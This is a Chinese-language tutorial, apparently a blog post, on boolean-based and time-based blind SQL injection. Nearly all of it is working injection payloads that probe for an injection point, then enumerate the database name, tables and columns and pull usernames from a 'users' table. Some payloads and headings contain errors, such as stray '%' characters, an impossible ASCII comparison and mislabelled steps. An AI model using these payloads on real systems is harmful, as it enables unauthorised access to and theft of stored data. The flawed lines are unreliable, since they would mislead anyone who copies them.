对于bool类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:
id=1'and 1=2#
如果显示异常,那么就说明and后面的内容被成功执行,因此可能存在bool类型的SQL注入。
对于时间类型的盲注,我们可以通过执行以下payload来探测是否存在注入点:
id=1'and sleep(10)#
如果网页反应时间出现了明显延迟,就说明存在基于时间的SQL注入。
2、猜解数据库名
bool类型的盲注猜解数据库长度payload如下所示:
id=1'and length(database())>10#
时间类型的盲注猜解数据库长度payload如下所示:
id=1'and sleep(if(length(database())>10,10,1))>10#
bool类型的盲注猜解数据库名称payload如下所示:
id=1'and ascii(mid(database(),1,1))>115#
时间类型的盲注猜解数据库名称payload如下所示:
id=1'and sleep(if(ascii(mid(database(),1,1))>115,10,1))#
上述四个payload,length函数用于反馈查询结果的长度,mid函数用于截取查询结果的指定字符,ascii函数用于将其转换为ascii码的形式,if函数中第一个参数为一个判断表达式,本质上是bool类型盲注的核心,后面的10和1分别为表达式成立或者不成立条件下的返回值,该返回值为sleep函数的输入,以此就可以控制网页反应的时间。
3、猜解表名
bool类型的盲注表名个数猜解payload如下所示:
id=1'and (select count(*) from information_schema.tables where table_schema=database())>2#
时间类型的盲注表名个数猜解payload如下所示:
id=1'and sleep(if((select count(*) from information_schema.tables where table_schema=database())>2,10,1))#
bool类型的盲注表名猜解payload如下所示:
id=1'and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100#
时间类型的盲注表名猜解payload如下所示:
id=1'and sleep(if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100),10,1))#
在上述4个payload中,其原理与之前介绍的相似,但是是使用limit函数来不断的控制反馈的变量。
4、猜解字段名
bool类型的盲注字段名个数猜解payload如下所示:
id=1'and (select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1#
时间类型的盲注字段名个数猜解payload如下所示:
id=1'and sleep(if((select count(*) from information_schema.columns where table_name='users'and table_schema=database())>1,10,1))#
bool类型的盲注字段名个数猜解payload如下所示:
id=1'and ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000#
时间类型的盲注字段名个数猜解payload如下所示:
id=1'and sleep(if(ascii(mid((select% column_name from information_schema.columns where%20table_name='users'and table_schema=database() limit 0,1),1,1))>1000,10,1))#
其原理与之前类似。
5、猜解数据
bool类型的盲注数据长度猜解payload如下所示:
id=1'and (select count(*) from users)>1#
时间类型的盲注数据长度猜解payload如下所示:
id=1'and sleep(if((select count(*) from users)>1,10,1))#
bool类型的盲注数据猜解payload如下所示:
id=1'and ascii(mid((select username from users limit 0,1),1,1))>1#
时间类型的盲注数据猜解payload如下所示:
id=1'and sleep(if(ascii(mid((select username from users limit 0,1),1,1))>1,10,1))#
到此这篇关于SQL bool盲注和时间盲注详解的文章就介绍到这了,更多相关SQL bool盲注和时间盲注内容请搜索
更多SQL内容来自木庄网络博客